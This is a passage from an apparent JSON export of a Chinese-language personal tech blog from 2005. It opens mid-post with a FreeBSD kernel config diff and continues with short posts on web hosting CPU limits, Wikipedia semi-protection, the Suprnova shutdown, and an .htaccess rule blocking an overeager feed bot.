Mouse&gt; irq 12 on atkbdc0\r\npsm0: [GIANT-LOCKED]\r\npsm0: model Generic PS/2 mouse, device ID 0\r\nsio0: configured irq 4 not in bitmap of probed irqs 0\r\nsio0: port may not be enabled\r\nsio0: configured irq 3 not in bitmap of probed irqs 0\r\nsio0: port may not be enabled\r\nbattery0: &lt;ACPI Control Method Battery&gt; on acpi0\r\nacpi_acad0: &lt;AC Adapter&gt; on acpi0\r\nacpi_ibm0: &lt;IBM ThinkPad ACPI Extras&gt; on acpi0\r\nsio0: configured irq 4 not in bitmap of probed irqs 0\r\nsio0: port may not be enabled\r\nsio0: configured irq 3 not in bitmap of probed irqs 0\r\nsio0: port may not be enabled\r\npmtimer0 on isa0\r\norm0: &lt;ISA Option ROMs&gt; at iomem 0xd0000-0xd0fff,0xd1000-0xd1fff,0xdc000-0xdffff on isa0\r\nsc0: &lt;System console&gt; at flags 0x100 on isa0\r\nsc0: VGA &lt;16 virtual consoles, flags=0x300&gt;\r\nvga0: &lt;Generic ISA VGA&gt; at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0\r\nsio0: configured irq 4 not in bitmap of probed irqs 0\r\nsio0: port may not be enabled\r\nsio1: configured irq 3 not in bitmap of probed irqs 0\r\nsio1: port may not be enabled\r\nums0: Logitech Optical USB Mouse, rev 2.00/3.40, addr 2, iclass 3/1\r\nums0: 3 buttons and Z dir.\r\nTimecounter \"TSC\" frequency 1498732909 Hz quality 800\r\nTimecounters tick every 1.000 msec\r\nipfw2 (+ipv6) initialized, divert loadable, rule-based forwarding enabled, default to accept, logging disabled\r\nad0: 34791MB &lt;IC25N040ATMR04 0 MO2OAD4A&gt; at ata0-master UDMA100\r\nTrying to mount root from ufs:/dev/ad0s1a\r\nipw0: Please load firmware\r\nipw0: link state changed to UP\r\n</pre></blockquote>\r\nThe kernel config file (diff -ruN with /sys/i386/conf/GENERIC)\r\n<blockquote><pre>--- /sys/i386/conf/GENERIC      Sun Oct 30 03:08:44 2005\r\n+++ KERNEL      Mon Dec 12 14:15:41 2005\r\n@@ -16,40 +16,28 @@\r\n # If you are in doubt as to the purpose or necessity of a line, check first\r\n # in NOTES.\r\n #\r\n-# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.429.2.3.2.1 2005/10/28 19:22:41 jhb Exp $\r\n+# $FreeBSD: src/sys/i386/conf/GENERIC,v 1.429.2.4 2005/10/28 19:21:27 jhb Exp $\r\n\r\n machine                i386\r\n-cpu            I486_CPU\r\n-cpu            I586_CPU\r\n cpu            I686_CPU\r\n ident          GENERIC\r\n\r\n # To statically compile in device wiring instead of /boot/device.hints\r\n #hints         \"GENERIC.hints\"         # Default places to look for devices.\r\n\r\n-makeoptions    DEBUG=-g                # Build kernel with gdb(1) debug symbols\r\n+#makeoptions   DEBUG=-g                # Build kernel with gdb(1) debug symbols\r\n\r\n-#options       SCHED_ULE               # ULE scheduler\r\n-options        SCHED_4BSD              # 4BSD scheduler\r\n-options        PREEMPTION              # Enable kernel thread preemption\r\n+options        SCHED_ULE               # ULE scheduler\r\n+#options       SCHED_4BSD              # 4BSD scheduler\r\n+#options       PREEMPTION              # Enable kernel thread preemption\r\n options        INET                    # InterNETworking\r\n options        INET6                   # IPv6 communications protocols\r\n options        FFS                     # Berkeley Fast Filesystem\r\n options        SOFTUPDATES             # Enable FFS soft updates support\r\n options        UFS_ACL                 # Support for access control lists\r\n options        UFS_DIRHASH             # Improve performance on big directories\r\n-options        MD_ROOT                 # MD is a potential root device\r\n-options        NFSCLIENT               # Network Filesystem Client\r\n-options        NFSSERVER               # Network Filesystem Server\r\n-options        NFS_ROOT                # NFS usable as /, requires NFSCLIENT\r\n-options        MSDOSFS                 # MSDOS Filesystem\r\n-options        CD9660                  # ISO 9660 Filesystem\r\n-options        PROCFS                  # Process filesystem (requires PSEUDOFS)\r\n-options        PSEUDOFS                # Pseudo-filesystem framework\r\n options        GEOM_GPT                # GUID Partition Tables.\r\n options        COMPAT_43               # Compatible with BSD 4.3 [KEEP THIS!]\r\n-options        COMPAT_FREEBSD4         # Compatible with FreeBSD4\r\n-options        COMPAT_FREEBSD5         # Compatible with FreeBSD5\r\n options        SCSI_DELAY=5000         # Delay (in ms) before probing SCSI\r\n options        KTRACE                  # ktrace(1) support\r\n options        SYSVSHM                 # SYSV-style shared memory\r\n@@ -57,80 +45,32 @@\r\n options        SYSVSEM                 # SYSV-style semaphores\r\n options        _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions\r\n options        KBD_INSTALL_CDEV        # install a CDEV entry in /dev\r\n-options        AHC_REG_PRETTY_PRINT    # Print register bitfields in debug\r\n-                                       # output.  Adds ~128k to driver.\r\n-options        AHD_REG_PRETTY_PRINT    # Print register bitfields in debug\r\n-                                       # output.  Adds ~215k to driver.\r\n options        ADAPTIVE_GIANT          # Giant mutex is adaptive.\r\n\r\n+options                AUTO_EOI_1\r\n+options                DDB\r\n+options                DUMMYNET\r\n+options                IPFIREWALL\r\n+options                IPFIREWALL_DEFAULT_TO_ACCEPT\r\n+options                IPFIREWALL_FORWARD\r\n+options                KDB\r\n+options                NMBCLUSTERS=16384\r\n+options                PQ_CACHESIZE=1024\r\n+\r\n device         apic                    # I/O APIC\r\n\r\n # Bus support.\r\n device         eisa\r\n device         pci\r\n\r\n-# Floppy drives\r\n-device         fdc\r\n-\r\n # ATA and ATAPI devices\r\n device         ata\r\n device         atadisk         # ATA disk drives\r\n-device         ataraid         # ATA RAID drives\r\n-device         atapicd         # ATAPI CDROM drives\r\n-device         atapifd         # ATAPI floppy drives\r\n-device         atapist         # ATAPI tape drives\r\n options        ATA_STATIC_ID   # Static device numbering\r\n\r\n-# SCSI Controllers\r\n-device         ahb             # EISA AHA1742 family\r\n-device         ahc             # AHA2940 and onboard AIC7xxx devices\r\n-device         ahd             # AHA39320/29320 and onboard AIC79xx devices\r\n-device         amd             # AMD 53C974 (Tekram DC-390(T))\r\n-device         isp             # Qlogic family\r\n-#device        ispfw           # Firmware for QLogic HBAs- normally a module\r\n-device         mpt             # LSI-Logic MPT-Fusion\r\n-#device                ncr             # NCR/Symbios Logic\r\n-device         sym             # NCR/Symbios Logic (newer chipsets + those of `ncr')\r\n-device         trm             # Tekram DC395U/UW/F DC315U adapters\r\n-\r\n-device         adv             # Advansys SCSI adapters\r\n-device         adw             # Advansys wide SCSI adapters\r\n-device         aha             # Adaptec 154x SCSI adapters\r\n-device         aic             # Adaptec 15[012]x SCSI adapters, AIC-6[23]60.\r\n-device         bt              # Buslogic/Mylex MultiMaster SCSI adapters\r\n-\r\n-device         ncv             # NCR 53C500\r\n-device         nsp             # Workbit Ninja SCSI-3\r\n-device         stg             # TMC 18C30/18C50\r\n-\r\n # SCSI peripherals\r\n device         scbus           # SCSI bus (required for SCSI)\r\n-device         ch              # SCSI media changers\r\n device         da              # Direct Access (disks)\r\n-device         sa              # Sequential Access (tape etc)\r\n-device         cd              # CD\r\n-device         pass            # Passthrough device (direct SCSI access)\r\n-device         ses             # SCSI Environmental Services (and SAF-TE)\r\n-\r\n-# RAID controllers interfaced to the SCSI subsystem\r\n-device         amr             # AMI MegaRAID\r\n-device         arcmsr          # Areca SATA II RAID\r\n-device         asr             # DPT SmartRAID V, VI and Adaptec SCSI RAID\r\n-device         ciss            # Compaq Smart RAID 5*\r\n-device         dpt             # DPT Smartcache III, IV - See NOTES for options\r\n-device         hptmv           # Highpoint RocketRAID 182x\r\n-device         iir             # Intel Integrated RAID\r\n-device         ips             # IBM (Adaptec) ServeRAID\r\n-device         mly             # Mylex AcceleRAID/eXtremeRAID\r\n-device         twa             # 3ware 9000 series PATA/SATA RAID\r\n-\r\n-# RAID controllers\r\n-device         aac             # Adaptec FSA RAID\r\n-device         aacp            # SCSI passthrough for aac (requires CAM)\r\n-device         ida             # Compaq Smart RAID\r\n-device         mlx             # Mylex DAC960 family\r\n-device         pst             # Promise Supertrak SX6000\r\n-device         twe             # 3ware ATA RAID\r\n\r\n # atkbdc0 controls both the keyboard and the PS/2 mouse\r\n device         atkbdc          # AT keyboard controller\r\n@@ -139,8 +79,6 @@\r\n\r\n device         vga             # VGA video card driver\r\n\r\n-device         splash          # Splash screen and screen saver support\r\n-\r\n # syscons is the default console driver, resembling an SCO console\r\n device         sc\r\n\r\n@@ -149,131 +87,25 @@\r\n #options       XSERVER         # support for X server on a vt console\r\n #options       FAT_CURSOR      # start with block cursor\r\n\r\n-device         agp             # support several AGP chipsets\r\n-\r\n # Power management support (see NOTES for more options)\r\n #device                apm\r\n # Add suspend/resume support for the i8254.\r\n device         pmtimer\r\n\r\n-# PCCARD (PCMCIA) support\r\n-# PCMCIA and cardbus bridge support\r\n-device         cbb             # cardbus (yenta) bridge\r\n-device         pccard          # PC Card (16-bit) bus\r\n-device         cardbus         # CardBus (32-bit) bus\r\n-\r\n-# Serial (COM) ports\r\n-device         sio             # 8250, 16[45]50 based serial ports\r\n-\r\n-# Parallel port\r\n-device         ppc\r\n-device         ppbus           # Parallel port bus (required)\r\n-device         lpt             # Printer\r\n-device         plip            # TCP/IP over parallel\r\n-device         ppi             # Parallel port interface device\r\n-#device                vpo             # Requires scbus and da\r\n-\r\n # If you've got a \"dumb\" serial or parallel PCI card that is\r\n # supported by the puc(4) glue driver, uncomment the following\r\n # line to enable it (connects to the sio and/or ppc drivers):\r\n #device                puc\r\n\r\n-# PCI Ethernet NICs.\r\n-device         de              # DEC/Intel DC21x4x (``Tulip'')\r\n-device         em              # Intel PRO/1000 adapter Gigabit Ethernet Card\r\n-device         ixgb            # Intel PRO/10GbE Ethernet Card\r\n-device         txp             # 3Com 3cR990 (``Typhoon'')\r\n-device         vx              # 3Com 3c590, 3c595 (``Vortex'')\r\n-\r\n-# PCI Ethernet NICs that use the common MII bus controller code.\r\n-# NOTE: Be sure to keep the 'device miibus' line in order to use these NICs!\r\n-device         miibus          # MII bus support\r\n-device         bfe             # Broadcom BCM440x 10/100 Ethernet\r\n-device         bge             # Broadcom BCM570xx Gigabit Ethernet\r\n-device         dc              # DEC/Intel 21143 and various workalikes\r\n-device         fxp             # Intel EtherExpress PRO/100B (82557, 82558)\r\n-device         lge             # Level 1 LXT1001 gigabit Ethernet\r\n-device         nge             # NatSemi DP83820 gigabit Ethernet\r\n-device         nve             # nVidia nForce MCP on-board Ethernet Networking\r\n-device         pcn             # AMD Am79C97x PCI 10/100(precedence over 'lnc')\r\n-device         re              # RealTek 8139C+/8169/8169S/8110S\r\n-device         rl              # RealTek 8129/8139\r\n-device         sf              # Adaptec AIC-6915 (``Starfire'')\r\n-device         sis             # Silicon Integrated Systems SiS 900/SiS 7016\r\n-device         sk              # SysKonnect SK-984x &amp; SK-982x gigabit Ethernet\r\n-device         ste             # Sundance ST201 (D-Link DFE-550TX)\r\n-device         ti              # Alteon Networks Tigon I/II gigabit Ethernet\r\n-device         tl              # Texas Instruments ThunderLAN\r\n-device         tx              # SMC EtherPower II (83c170 ``EPIC'')\r\n-device         vge             # VIA VT612x gigabit Ethernet\r\n-device         vr              # VIA Rhine, Rhine II\r\n-device         wb              # Winbond W89C840F\r\n-device         xl              # 3Com 3c90x (``Boomerang'', ``Cyclone'')\r\n-\r\n-# ISA Ethernet NICs.  pccard NICs included.\r\n-device         cs              # Crystal Semiconductor CS89x0 NIC\r\n-# 'device ed' requires 'device miibus'\r\n-device         ed              # NE[12]000, SMC Ultra, 3c503, DS8390 cards\r\n-device         ex              # Intel EtherExpress Pro/10 and Pro/10+\r\n-device         ep              # Etherlink III based cards\r\n-device         fe              # Fujitsu MB8696x based cards\r\n-device         ie              # EtherExpress 8/16, 3C507, StarLAN 10 etc.\r\n-device         lnc             # NE2100, NE32-VL Lance Ethernet cards\r\n-device         sn              # SMC's 9000 series of Ethernet chips\r\n-device         xe              # Xircom pccard Ethernet\r\n-\r\n # ISA devices that use the old ISA shims\r\n #device                le\r\n\r\n-# Wireless NIC cards\r\n-device         wlan            # 802.11 support\r\n-device         an              # Aironet 4500/4800 802.11 wireless NICs.\r\n-device         awi             # BayStack 660 and others\r\n-device         ral             # Ralink Technology RT2500 wireless NICs.\r\n-device         wi              # WaveLAN/Intersil/Symbol 802.11 wireless NICs.\r\n-#device                wl              # Older non 802.11 Wavelan wireless NIC.\r\n-\r\n # Pseudo devices.\r\n device         loop            # Network loopback\r\n-device         random          # Entropy device\r\n device         ether           # Ethernet support\r\n-device         sl              # Kernel SLIP\r\n-device         ppp             # Kernel PPP\r\n-device         tun             # Packet tunnel.\r\n device         pty             # Pseudo-ttys (telnet etc)\r\n-device         md              # Memory \"disks\"\r\n-device         gif             # IPv6 and IPv4 tunneling\r\n-device         faith           # IPv6-to-IPv4 relaying (translation)\r\n\r\n # The `bpf' device enables the Berkeley Packet Filter.\r\n # Be aware of the administrative consequences of enabling this!\r\n # Note that 'bpf' is required for DHCP.\r\n device         bpf             # Berkeley packet filter\r\n-\r\n-# USB support\r\n-device         uhci            # UHCI PCI->USB interface\r\n-device         ohci            # OHCI PCI->USB interface\r\n-device         ehci            # EHCI PCI->USB interface (USB 2.0)\r\n-device         usb             # USB Bus (required)\r\n-#device                udbp            # USB Double Bulk Pipe devices\r\n-device         ugen            # Generic\r\n-device         uhid            # \"Human Interface Devices\"\r\n-device         ukbd            # Keyboard\r\n-device         ulpt            # Printer\r\n-device         umass           # Disks/Mass storage - Requires scbus and da\r\n-device         ums             # Mouse\r\n-device         ural            # Ralink Technology RT2500USB wireless NICs\r\n-device         urio            # Diamond Rio 500 MP3 player\r\n-device         uscanner        # Scanners\r\n-# USB Ethernet, requires miibus\r\n-device         aue             # ADMtek USB Ethernet\r\n-device         axe             # ASIX Electronics USB Ethernet\r\n-device         cdce            # Generic USB over Ethernet\r\n-device         cue             # CATC USB Ethernet\r\n-device         kue             # Kawasaki LSI USB Ethernet\r\n-device         rue             # RealTek RTL8150 USB Ethernet\r\n-\r\n-# FireWire support\r\n-device         firewire        # FireWire bus code\r\n-device         sbp             # SCSI over FireWire (Requires scbus and da)\r\n-device         fwe             # Ethernet over FireWire (non-standard!)\r\n</pre></blockquote>",
    "title": "FreeBSD 6.0 MySQL Performance"
  },
  {
    "id": "253",
    "body": "<a href=\"http://smallbusiness.yahoo.com/webhosting/\" rel=\"tag\">Yahoo! Web Hosting</a> 與 <a href=\"http://www.sixapart.com/\" rel=\"tag\">Six Apart</a> 開始提供 Movable Type Hosting 服務了：<a href=\"http://jeremy.zawodny.com/blog/archives/005869.html\">MovableType on Yahoo! Web Hosting</a>。",
    "title": "MovableType on Yahoo! Web Hosting"
  },
  {
    "id": "254",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到的：<a href=\"http://slashdot.org/article.pl?sid=05/12/16/235208\">Blog Services Outgrow Their Data Centers</a>。\r\n\r\nBlog 帶動了 Spam 的成長 (包括 Comment Spam、Trackback Spam)，所以 <a href=\"http://www.typepad.com/\" rel=\"tag\">TypePad</a> 要擴增。但 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 自從被 <a href=\"http://www.ask.com/\" rel=\"tag\">Ask Jeeves</a> 買下來以後就常常水管工 (這個時間點實在太 XD 了)，跟 Blog 成長沒有關係啊 :p",
    "title": "Blog Services"
  },
  {
    "id": "255",
    "body": "這幾天我收到 DreamHost 寄來的信，說我使用的 CPU resource 超過合理使用的範圍：(有點長，所以我只挑出了重要的部分)\r\n<blockquote>Unfortunately it appears that your site is using more than your fair share of system resources on your shared hosting machine pizarro. Our system has flagged your account because it is using a large number of CPU minutes per day on pizarro. We need you to trim down your resource consumption considerably.  Should you ignore this or subsequent warnings your account may be moved to an evaluation server which could cause downtime.\r\n\r\nSpecifically gslinn's CPU minute usage for today is 73.01.</blockquote>\r\n我到 shell account 上看了紀錄，發現都是 <code>php.cgi</code> 在吃 CPU resource：\r\n<blockquote><pre>Process               CPU seconds      user   machine   count  average\r\nphp.cgi                 3374.4700   86.183%   14.060%   13544    0.249\r\nawstats.pl               534.4000   13.648%    2.227%     498    1.073\r\nsh                         4.7500    0.121%    0.020%     492    0.010\r\ntcsh                       1.1100    0.028%    0.005%      14    0.079\r\nvim                        0.5200    0.013%    0.002%      10    0.052\r\nsshd                       0.1100    0.003%    0.000%       4    0.028\r\ncat                        0.0300    0.001%    0.000%      11    0.003\r\nls                         0.0300    0.001%    0.000%       8    0.004\r\nsendmail                   0.0200    0.001%    0.000%       1    0.020\r\nw                          0.0200    0.001%    0.000%       3    0.007\r\npostdrop                   0.0100    0.000%    0.000%       1    0.010\r\n----------------------------------------------------------------------\r\nTotal:                  3915.4700  100.000%   16.314%   14586\r\nAverage per day:        3915.4700    1 days\r\nCPU percentage assumes 24000 cpu seconds per day total.</pre></blockquote>\r\n這讓我哭笑不得 :p 也許還是跑 mod_php4 好了，這樣 CPU resource 就不會算在我頭上了？XD\r\n\r\nPS：在 <a href=\"https://panel.dreamhost.com/kbase/index.cgi?area=3079\">What are CPU minutes?</a> 這頁有一堆人這幾天在幹剿 XD 大概是 DreamHost 這幾天升級 php 升到某個 resource 吃比較兇的部分造成的？",
    "title": "DreamHost 的 php.cgi"
  },
  {
    "id": "256",
    "body": "在經過某些鳥蛋事情後 (<a href=\"http://www.usatoday.com/\" rel=\"tag\">USA Today</a>：<a href=\"http://www.usatoday.com/news/opinion/editorials/2005-11-29-wikipedia-edit_x.htm\">A false Wikipedia 'biography'</a>)，<a href=\"http://www.wikipedia.org/\" rel=\"tag\">Wikipedia</a> 將引入 Semi-Protection 來保護某些頁面：<a href=\"http://slashdot.org/article.pl?sid=05/12/17/089207\">Wikipedia Adopting Semi-Protection of Pages</a>。\r\n\r\n關於這項政策，完整的說明在 <a href=\"http://en.wikipedia.org/wiki/Wikipedia:Semi-protection_policy\">Wikipedia:Semi-protection policy</a> 這頁。簡單來說，被 Semi-Protection 的頁面可以設定「未註冊及最新註冊的 x% 使用者」無法修改。",
    "title": "Wikipedia 將引入 Semi-Protection"
  },
  {
    "id": "257",
    "body": "剛剛才看到的：<a href=\"http://blog.xuite.net/seamxr.home/newless/4586285\">貨真價實的絕地武士，在台灣</a> XD\r\n\r\n用 <a href=\"http://news.google.com.tw/\" rel=\"tag\">Google News</a> 把原來那篇新聞找出來：<a href=\"http://news.yam.com/ettoday/society/200512/20051211831930.html\">南投奇人！　魏全材雙手可通電　燈管不接電也發亮</a>。",
    "title": "Jedi"
  },
  {
    "id": "258",
    "body": "剛剛在 <a href=\"http://www.einstein.com.tw/\" rel=\"tag\">愛因斯坦</a> 看到的，買了一支回來試看看，寫起來很像水性筆，查了一下資料，果然是某種水性筆：<a href=\"http://mail.8787.com.tw/modules.php?name=News&file=article&sid=356\">各式文具的歷史, 可擦拭原子筆(Erasable Pen)的歷史簡述</a>、<a href=\"http://bbs.ntu.edu.tw/cgi-bin/readgem.cgi?board=Talk&dir=A0VFV2VH&type=file\">請問擦擦筆~</a>。\r\n\r\n在三菱的官方網站上也有這項產品的資訊：<a href=\"http://www.mpuni.co.jp/product/ball_pen/signo_erasable_hosoji/\">ユニボール シグノ イレイサブル細字</a>、<a href=\"http://www.mpuni.co.jp/product/ball_pen/signo_erasable/\">ユニボール シグノ イレイサブル</a>。\r\n\r\n不過書寫的感覺跟 .5 油性筆 (筆心的編號是 UMR-5) 比起來差多了，大概不會再買第二支吧 :p",
    "title": "三菱的可擦拭中性筆"
  },
  {
    "id": "259",
    "body": "12/15 後，<a href=\"http://setiathome.berkeley.edu/\" rel=\"tag\">SETI@home</a> Classic 將收起來，全面改用 <a href=\"http://boinc.berkeley.edu/\" rel=\"tag\">BOINC</a> 的資源計算，不過 BOINC 的安裝流程比起原來的 Classic 麻煩多了，勢必會影響到參與的人數...\r\n\r\n不過 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 與 <a href=\"http://www.pcworld.com/\" rel=\"tag\">PCWorld</a> 的標題都下的很爛：<a href=\"http://digg.com/science/SETI%40Home_Project_Ends_2\">SETI@Home Project Ends</a>、<a href=\"http://www.pcworld.com/news/article/0,aid,123949,00.asp\">SETI@Home Project Ends</a>。",
    "title": "SETI@home Classic"
  },
  {
    "id": "260",
    "body": "<a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 維修，結果我美女圖的網頁都沒辦法丟上 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a>... (純脆抱怨)\r\n\r\n拿 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 來整理相簿很方便的，尤其是在 bookmark 看過的相簿，丟進去的時候 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 會告訴你以前已經 bookmark 過了... 另外還可以照學校整理 :p",
    "title": "del.icio.us 維修中"
  },
  {
    "id": "261",
    "body": "IRC 的某 channel 上：\r\n<blockquote>08:42 &lt;@<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ij1iao</a>&gt; *嚇*\r\n08:42 &lt;@<a href=\"http://blog.ijliao.info/\" rel=\"tag\">ij1iao</a>&gt; 水管工變虎克船長了 !!</blockquote>\r\n連上去看差點把茶噴到螢幕上：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/75425986/\"><img src=\"http://static.flickr.com/6/75425986_e4de3d0d81.jpg?v=0\" alt=\"\" /></a>\r\n\r\n愈修愈機車了 XD",
    "title": "Bloglines 維修畫面"
  },
  {
    "id": "262",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/75547464/\"><img src=\"http://static.flickr.com/40/75547464_6bcfe64d2e_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上轉錄了 <a href=\"http://www.suprnova.org/\" rel=\"tag\">Suprnova</a> 的系統管理者 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 描述 <a href=\"http://www.suprnova.org/\" rel=\"tag\">Suprnova</a> 從網路上消失的故事：\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/article.pl?sid=05/12/20/043218\">The Truth About Suprnova Shutdown</a> (<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a>)</li>\r\n\t<li><a href=\"http://www.suprnova.org/?op=showLong&aID=80\">The truth about SuprNova.org shutdown.</a> (<a href=\"http://www.suprnova.org/\" rel=\"tag\">Suprnova</a>)</li>\r\n</ul>\r\n事情的發生是從 2004 年十一月的時候開始，<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 接到 ISP 的電話，通知他警方搜查了他的 server。在同年十二月初的時候，路透社報導了 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a>，而其他的報紙也跟著報導，<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 覺得不太對勁，決定暫時關閉 Suprnova.org。\r\n\r\n在關閉 Suprnova.org 一個月後的某個早晨，警方拿著搜索票造訪 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 的家裡，帶走了兩台電腦以及一堆資料。\r\n\r\n再一個月後 (原文是 About a month or so later)，<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 被警方傳喚，警方做了一份表格，包括了那兩台電腦裡的資料以及從 ISP 那邊取得的資料。\r\n\r\n在一個月後，警方再度傳喚 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a>，<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 與他的律師決定不回答任何的問題。警方告知 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 他們會將這些資料交給檢察官繼續執行。<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 的律師告訴 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 大概會在暑假後收到通知。\r\n\r\n在今年的 10/18，<a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 收到從檢察官那寄來的通知了：檢方決定不起訴。而 <a href=\"http://en.wikipedia.org/wiki/Andrej_Preston\" rel=\"tag\">Andrej Preston</a> 也拿回原來的那兩台電腦以及所有的資料。",
    "title": "Suprnova 消失的故事"
  },
  {
    "id": "263",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/75887064/\"><img src=\"http://static.flickr.com/39/75887064_ab0f749760.jpg?v=0\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.digg.com/\" rel=\"tag\">Digg</a> 上報導某些人連上 Yahoo! 首頁後，會出現上面那樣的訊息。不怎麼讓人認同的方法 :p",
    "title": "Yahoo! 與 Google 的戰爭"
  },
  {
    "id": "264",
    "body": "在 <a href=\"http://www.digg.com/\" rel=\"tag\">Digg</a> 看到的：<a href=\"http://digg.com/science/StarTrek.com_Going_Offline_Could_this_be_the_end_\">StarTrek.com Going Offline? Could this be the end?</a>。\r\n\r\n<a href=\"http://en.wikipedia.org/wiki/Star_Trek\" rel=\"tag\">Star Trek</a> 自從 <a href=\"http://en.wikipedia.org/wiki/Gene_Roddenberry\" rel=\"tag\">Gene Roddenberry</a> 過世，水準就愈來愈...",
    "title": "StarTrek.com"
  },
  {
    "id": "265",
    "body": "Gosh... (圖片註解放在 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a>，所以點圖片進去看就可以了)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/76167194/\"><img src=\"http://static.flickr.com/41/76167194_6763df0db3.jpg?v=0\" alt=\"\" /></a>",
    "title": "土地銀行"
  },
  {
    "id": "266",
    "body": "這幾天不少人在討論的消息 :p 不過 <a href=\"http://scobleizer.wordpress.com/\" rel=\"tag\">Scoble</a> 說：(<a href=\"http://scobleizer.wordpress.com/2005/12/23/microsoft-buying-opera/\">Microsoft buying Opera?</a>)\r\n<blockquote>I have no freaking idea either way, but didn’t the Riya deal teach us anything? That rumors are just that - at least until the deal is signed? All the key players are on vacation right now, though, so I doubt something is up.</blockquote>\r\n也就是說，最少要等到星期一假期結束，才有可能會看到新的消息 :)",
    "title": "Opera 將被 Microsoft 收購？"
  },
  {
    "id": "267",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 看到 OpenOffice.org 2.0.1 RC 出版了：<a href=\"http://it.slashdot.org/article.pl?sid=05/12/22/1447243\">Update to OpenOffice 2 Released</a>，在 <a href=\"http://development.openoffice.org/releases/2.0.1.html\">2.0.1 Release Candidate - Release Notes</a> 有一份表格，告訴你 OO.o 2.0.1 RC 與 2.0 的差別。\r\n\r\n雖然我自己的電腦裡面只有灌 OpenOffice.org 2.0，不過我大多數的情況下都只是拿來開 .doc 檔與 .ppt 檔，在寫文件的時候大多還是用 .txt，以後可能會儘量用 .tex 寫 (最近在玩 <a href=\"http://ccms.ntu.edu.tw/~ntut019/cwtex/cwtex.html\" rel=\"tag\">cwTeX</a>)，所以我大概不會去更新 OO.o 2.0.1 RC，也許等 2.1 的時候再說 :p",
    "title": "OpenOffice.org 2.0.1 RC"
  },
  {
    "id": "268",
    "body": "難得看到 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 鳥掉，記錄一下：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/76829482/\"><img src=\"http://static.flickr.com/42/76829482_414aa7e0a5.jpg?v=0\" alt=\"\" /></a>",
    "title": "Bloglines 的 Apache Internal Error"
  },
  {
    "id": "269",
    "body": "前陣子就看到發現第四十三個 <a href=\"http://en.wikipedia.org/wiki/Mersenne_prime\" rel=\"tag\">Mersenne Prime</a> 的消息，剛剛在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到第四十三個 <a href=\"http://en.wikipedia.org/wiki/Mersenne_prime\" rel=\"tag\">Mersenne Prime</a> 驗證完畢，確定這個數是質數的消息：<a href=\"http://digg.com/science/World_s_Largest_Prime_Number_Found_and_Verified.\">World's Largest Prime Number Found and Verified.</a>。\r\n\r\n這個數字是 2<sup>30402457</sup>-1，9152052 位數，以十進位表示這個數字則需要 9MB 的空間...",
    "title": "43rd Mersenne Prime"
  },
  {
    "id": "270",
    "body": "看 awstats 統計記錄的時候發現從 mail.wretch.cc 來的連線量超大，而且超頻繁，去翻 log 發現原來是個沒禮貌的 bot：(列出最後幾筆)\r\n<blockquote>203.133.33.2 - - [25/Dec/2005:00:13:50 -0800] \"GET /feed/ HTTP/1.0\" 200 21656 \"-\" \"wcpan fetcher\"\r\n203.133.33.2 - - [25/Dec/2005:00:14:35 -0800] \"GET /feed/ HTTP/1.0\" 200 21656 \"-\" \"wcpan fetcher\"\r\n203.133.33.2 - - [25/Dec/2005:00:18:57 -0800] \"GET /feed/ HTTP/1.0\" 200 21656 \"-\" \"wcpan fetcher\"\r\n203.133.33.2 - - [25/Dec/2005:00:19:42 -0800] \"GET /feed/ HTTP/1.0\" 200 21656 \"-\" \"wcpan fetcher\"\r\n203.133.33.2 - - [25/Dec/2005:00:24:24 -0800] \"GET /feed/ HTTP/1.0\" 200 21656 \"-\" \"wcpan fetcher\"</blockquote>\r\n不支援 Last-Modified 浪費我的頻寬，然後次數又超頻繁，用 <code>.htaccess</code> 擋掉：\r\n<blockquote>#\r\norder allow,deny\r\ndeny from 203.133.33.\r\nallow from all</blockquote>\r\n<strong>Update</strong>：據說修好了，先改回來...",
    "title": "無名小站沒禮貌的 Bot"
  },
  {
    "id": "271",
